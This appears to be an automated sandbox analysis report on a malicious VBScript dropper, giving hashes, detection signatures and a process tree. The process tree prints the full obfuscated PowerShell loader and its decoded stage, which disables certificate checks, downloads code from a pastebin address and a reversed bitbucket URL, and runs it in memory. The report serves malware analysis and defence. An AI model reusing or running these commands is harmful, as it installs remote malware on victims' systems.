Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2024 23:41

General

  • Target

    sostener.vbs

  • Size

    15.4MB

  • MD5

    44913cf72b3ddfb4a9944106448627de

  • SHA1

    85a8a9607ffd5cb1a8b98454bc0f1f402235449e

  • SHA256

    0326f574a5085f27933c0cfbbec4854bf9f6d0ce10413084eadecd9593b18ba5

  • SHA512

    773aa0c83c462c49587d31c4f598cc7aa5b6e45a3adf2fd41037897525f3b4371456812e0bf5a30e658d71f4c33cbf7f3bc04563021e645706231fd182b3f040

  • SSDEEP

    192:9HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHB:B2oGsecM+F3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆B3☆G4☆ZQBl☆Gg☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆ZgBs☆GE☆aQ☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆H☆☆YQBw☆HE☆Z☆☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bw☆GE☆c☆Bx☆GQ☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆c☆Bl☆HM☆Nw☆y☆HI☆ZQBu☆GU☆d☆Bz☆G8☆cw☆v☆HM☆Z☆Bh☆G8☆b☆Bu☆Hc☆bwBk☆C8☆bwB0☆HM☆bwBn☆GE☆LwBz☆HM☆bwBp☆HY☆bgBl☆C8☆ZwBy☆G8☆LgB0☆GU☆awBj☆HU☆YgB0☆Gk☆Yg☆v☆C8☆OgBz☆H☆☆d☆B0☆Gg☆Jw☆g☆Cw☆I☆☆k☆Hk☆ZgBs☆GE☆aQ☆g☆Cw☆I☆☆n☆F8☆XwBf☆F8☆XwBf☆HM☆Z☆Bz☆GQ☆cwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆LQ☆t☆C0☆LQ☆t☆C0☆LQ☆n☆Cw☆I☆☆k☆Hc☆bgBl☆GU☆a☆☆s☆C☆☆Jw☆x☆Cc☆L☆☆g☆Cc☆UgBv☆GQ☆YQ☆n☆C☆☆KQ☆p☆Ds☆';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$wneeh = '0';$yflai = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $papqd = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($papqd).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.pes72renetsos/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yflai , '______sdsds______________________________________-------', $wneeh, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M8XIVTETH8DZZUDLUC42.temp

    Filesize

    7KB

    MD5

    d492e5a78eb0e4f2d052fd3c6dcdb142

    SHA1

    a7abf27aae7224493dfe07ae14743b34f62829d6

    SHA256

    7aa65f2d45eb23323f8ab8abe49b1adfecc3891e0fe849a736d02f0e4d404cfe

    SHA512

    a2ba6adcc4e833420dd4f696f586a6a7ad5516ff8ce52342d9379a90a1caf31d17c50c79730fb92715f000dbb398f2f006bae7cf5e53f64fee2757a480fa8167

  • memory/2756-4-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

    Filesize

    4KB

  • memory/2756-7-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2756-6-0x0000000002350000-0x0000000002358000-memory.dmp

    Filesize

    32KB

  • memory/2756-5-0x000000001B460000-0x000000001B742000-memory.dmp

    Filesize

    2.9MB

  • memory/2756-8-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2756-9-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2756-10-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2756-12-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2756-17-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB